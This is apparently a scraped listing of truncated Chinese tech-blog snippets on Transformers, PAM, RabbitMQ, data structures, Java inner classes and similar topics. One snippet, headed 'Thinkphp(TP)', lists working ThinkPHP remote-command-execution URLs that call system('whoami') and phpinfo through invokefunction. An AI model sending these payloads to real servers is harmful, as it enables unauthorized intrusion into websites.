文章目录 一、Model简介1.1 Transformer1.2 注意力机制1.3 模型类型 二、Model Head2.1 什么是 Model Head2.2 Transformers中的Model Head 三、Model基本使用方法3.0 模型下载-浏览器下载3.1 模型加载与保存3.2 配置加载参数3.3 加载config文件3.2 模型调用3.2.1 带ModelHead的…

【PAM】Linux登录认证限制

PAM&#xff08;Pluggable Authentication Modules&#xff0c;可插拔认证模块&#xff09;是一种灵活的认证框架&#xff0c;用于在 Linux 和其他类 Unix 系统上管理用户的身份验证。PAM 允许系统管理员通过配置不同的认证模块来定制应用程序和服务的认证方式&#xff0c;而不…

软件设计师:01计算机组成与结构

文章目录 一、校验码1.奇偶校验码2.海明码3.循环冗余检验码 二、原码反码补码移码三、浮点数表示法1.浮点数相加时 四、寻址方式五、CPU1.访问速度2.cpu的组成 六、RISC和CISC&#xff08;<font color red>只用记住不同就可以&#xff09;七、冗余技术1.结构冗余2.信息冗…

HyperWorks的实体几何创建与六面体网格剖分

创建和编辑实体几何 在 HyperMesh 有限元前处理环境中&#xff0c;有许多操作是针对“实体几何”的&#xff0c;例如创建六面体网格。在创建实体网格的工作中&#xff0c;我们既可以使用闭合曲面创建实体网格&#xff0c;也可以使用完整的实体几何创建实体网格。与闭合曲面相比…

【rabbitmq-server】安装使用介绍

在 1050a 系统下安装 rabbitmq-server 服务以及基本配置;【注】:改方案用于A版统信服务器操作系统 文章目录 功能概述功能介绍一、安装软件包二、启动服务三、验证四、基本配置功能概述 RabbitMQ 是AMQP的实现,高性能的企业消息的新标准。RabbitMQ服务器是一个强大和可扩展…

截取递增数-第15届蓝桥省赛Scratch中级组真题第6题

[导读]&#xff1a;超平老师的《Scratch蓝桥杯真题解析100讲》已经全部完成&#xff0c;后续会不定期解读蓝桥杯真题&#xff0c;这是Scratch蓝桥杯真题解析第191讲。 如果想持续关注Scratch蓝桥真题解读&#xff0c;可以点击《Scratch蓝桥杯历年真题》并订阅合集&#xff0c;…

【c数据结构】OJ练习篇 帮你更深层次理解链表!(相交链表、相交链表、环形链表、环形链表之寻找环形入口点、判断链表是否是回文结构、 随机链表的复制)

目录 一. 相交链表 二. 环形链表 三. 环形链表之寻找环形入口点 四. 判断链表是否是回文结构 五. 随机链表的复制 一. 相交链表 最简单粗暴的思路&#xff0c;遍历两个链表&#xff0c;分别寻找是否有相同的对应的结点。 我们对两个链表的每个对应的节点进行判断比较&…

力扣 209.长度最小的子数组

一、长度最小的子数组 二、解题思路 采用滑动窗口的思路&#xff0c;详细见代码。 三、代码 class Solution {public int minSubArrayLen(int target, int[] nums) {int n nums.length, left 0, right 0, sum 0;int ans n 1; for (right 0; right < n; right ) { …

数通。。。

通信&#xff1a;需要介质才能通信电话离信号塔&#xff08;基站&#xff09;越远&#xff0c;信号越弱。信号在基站之间传递。你离路由器越远&#xff0c;信号越差。一个意思 比如想传一张图片&#xff0c;这张图片就是数据载荷 网关&#xff0c;分割两个网络。路由器可以是网…

Chat2VIS: Generating Data Visualizations via Natural Language

Chat2VIS:通过使用ChatGPT, Codex和GPT-3大型语言模型的自然语言生成数据可视化 梅西大学数学与计算科学学院&#xff0c;新西兰奥克兰 IEEE Access 1 Abstract 数据可视化领域一直致力于设计直接从自然语言文本生成可视化的解决方案。自然语言接口 (NLI) 的研究为这些技术的…

巴黎嫩事件对数据信息安全的影响及必要措施

2024年9月17日&#xff0c;黎巴嫩首都贝鲁特发生了多起小型无线电通信设备爆炸事件&#xff0c;导致伊朗驻黎巴嫩大使受轻伤。这一事件不仅引发了对安全的广泛关注&#xff0c;也对数据信息安全提出了新的挑战。 王工 18913263502 对数据信息安全的影响&#xff1a; 数据泄露风…

MySQL慢查询优化指南

​ 博客主页: 南来_北往 系列专栏&#xff1a;Spring Boot实战 前言 当遇到慢查询问题时&#xff0c;不仅影响服务效率&#xff0c;还可能成为系统瓶颈。作为一位软件工程师&#xff0c;掌握MySQL慢查询优化技巧至关重要。今天&#xff0c;我们就来一场“数据库加速之旅…

Thinkphp(TP)

1.远程命令执行 /index.php?sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]system&vars[1][]whoami 2.远程代码执行 /index.php?sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]phpinfo&vars[1][]…

Java面向对象——内部类(成员内部类、静态内部类、局部内部类、匿名内部类,完整详解附有代码+案例)

文章目录 内部类17.1概述17.2成员内部类17.2.1 获取成员内部类对象17.2.2 成员内部类内存图 17.3静态内部类17.4局部内部类17.5匿名内部类17.5.1概述 内部类 17.1概述 写在一个类里面的类叫内部类,即 在一个类的里面再定义一个类。 如&#xff0c;A类的里面的定义B类&#x…

微信支付商户号注册流程

目录 一、官方指引二、申请规则三、申请流程1.提交资料2.签约协议3.绑定场景 四、微信支付商户登录入口 一、官方指引 https://kf.qq.com/faq/210423UrIRB7210423by6fQn.html 二、申请规则 1、微信支付商家仅面向企业、个体工商户、政府及事业单位、民办非企业、社会团体、基…